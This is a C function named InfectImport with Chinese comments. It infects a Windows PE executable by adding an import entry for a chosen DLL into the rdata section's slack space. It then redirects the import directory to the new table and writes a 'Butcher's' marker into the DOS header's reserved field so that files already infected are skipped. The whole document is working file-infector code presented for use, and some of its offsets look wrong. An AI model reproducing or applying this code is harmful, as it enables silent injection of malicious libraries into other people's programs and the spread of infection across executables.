函数名称:InfectImport

函数返回:true or false

第一参数:目标文件路径

第二参数:将注入的动态连接库

int InfectImport(const char* Path,const char* Library)
{
	char					Sign[0x10]={0};
	FILE*					File=0x0;
	char*					Buffer=0x0;
	const char*				Test=TEXT("Butcher's");
	unsigned long				Size=0;
	unsigned long				Offset=0;
	IMAGE_DOS_HEADER			Dos={0};
	IMAGE_NT_HEADERS			NT={0};
	IMAGE_SECTION_HEADER			Section={0};
	IMAGE_IMPORT_DESCRIPTOR*		Import=0;
	IMAGE_DATA_DIRECTORY*			Directory=0;

	//申请所需的局部变量并为其初始化

	if (fopen_s(&File,Path,TEXT("rb+"))!=0)
	{
		return 0;
	}

	//以读写权限打开目标文件

	__try
	{
		__try
		{
			fread(&Dos,sizeof(IMAGE_DOS_HEADER),1,File);
			if (Dos.e_magic!= IMAGE_DOS_SIGNATURE)
			{
				return 0;
			}

			//读取文件DOS头到缓存,并判断DOS签名

			fseek(File,0x28,SEEK_SET);
			fread(Sign,0x10,1,File);
			if (strcmp(Test,Sign)==0)
			{
				return 0;
			}

			//读取文件第28字节处到缓存,此为IMAGE_DOS_HEADER结构e_res2[10]域的位置.
                                                //原为微软定义的保留位.就是微软还没想好用这个地方做点什么,只是空一个空留着以后想到了再用.
			//那它现在不用,我们就拿来用一下.用来做效验.判断当前文件是否已经被感染过了.如没有才继续

			fseek(File,Dos.e_lfanew,SEEK_SET);
			fread(&NT,sizeof(IMAGE_NT_HEADERS),1,File);
			if (NT.Signature!=IMAGE_NT_SIGNATURE)
			{
				return 0;
			}

			//读取文件NT头到缓存,并判断NT签名

			fseek(File,Dos.e_lfanew+sizeof(IMAGE_NT_HEADERS)+sizeof(IMAGE_SECTION_HEADER),SEEK_SET);
			fread(&Section,sizeof(IMAGE_SECTION_HEADER),1,File);
			if (Section.VirtualAddress!=NT.OptionalHeader.BaseOfData)
			{
				return 0;
			}

			//读取文件rdata节到缓存,并判断正确性.

			Size=NT.OptionalHeader.DataDirectory[1].Size;
			if (Size+0x20>Section.SizeOfRawData-Section.Misc.VirtualSize)
			{
				return 0;
			}

			//获取文件导入表尺寸,并判断rdata节剩余空间是否能容纳新增一个导入项的新导入表.

			Offset=Section.PointerToRawData+Section.Misc.VirtualSize;

			//获取节空隙起始位置

			Buffer=calloc(0x20,sizeof(char));
			memset(Buffer,0,0x20);
			strcpy_s((char*)Buffer,strlen(Library)+1,Library);
			*(int*)((int)Buffer+0x10)=0x80000001;
			*(int*)((int)Buffer+0x14)=0x0;
			*(int*)((int)Buffer+0x18)=0x0;
			*(int*)((int)Buffer+0x1c)=0x0;
			
			//申请20字节堆,用以构造新导入项结构

			fseek(File,Offset,SEEK_SET);
			fwrite(Buffer,sizeof(char),0x20,File);

			//把新构造的导入项结构写入文件rdata节空隙起始位置

			Import=malloc(sizeof(IMAGE_IMPORT_DESCRIPTOR));
			Import->FirstThunk			=Offset+0x10;
			Import->ForwarderChain		=0;
			Import->Name			=Offset;
			Import->OriginalFirstThunk		=Offset+0x18;
			Import->TimeDateStamp		=0;

			//申请堆,用以构造新导入项.

			fseek(File,NT.OptionalHeader.DataDirectory[1].VirtualAddress+Size-0x14,SEEK_SET);
			fwrite(Import,sizeof(IMAGE_IMPORT_DESCRIPTOR),1,File);

			//在文件导入表结尾处写入新构造的导入项

			Buffer=realloc(Buffer,Size);
			memset(Buffer,0,Size);
			fseek(File,NT.OptionalHeader.DataDirectory[1].VirtualAddress,SEEK_SET);
			fread(Buffer,sizeof(char),Size,File);
			fseek(File,Offset+0x20,SEEK_SET);
			fwrite(Buffer,sizeof(char),Size,File);

			//复制新导入表到新位置

			Directory=malloc(sizeof(IMAGE_DATA_DIRECTORY));
			Directory->Size				=Size+0x14;
			Directory->VirtualAddress			=Offset+0x20;
			fseek(File,Dos.e_lfanew+sizeof(IMAGE_NT_HEADERS)-0x78,SEEK_SET);
			fwrite(Directory,sizeof(IMAGE_DATA_DIRECTORY),1,File);

			//修改文件目录使导入表指向新位置,报告新尺寸

			fseek(File,0x28,SEEK_SET);
			fwrite(Test,strlen(Test),1,File);

			//成功后在文件第28字节处,也就是IMAGE_DOS_HEADER结构e_res2[10]域的位置写入我们自定义的感染标志.这里标志为：Butcher's
		}
		__except(EXCEPTION_EXECUTE_HANDLER)
		{
			return 0;
		}
	}
	__finally
	{
		free(Buffer);
		free(Import);
		free(Directory);
		fclose(File);
	}
	return 1;
} 

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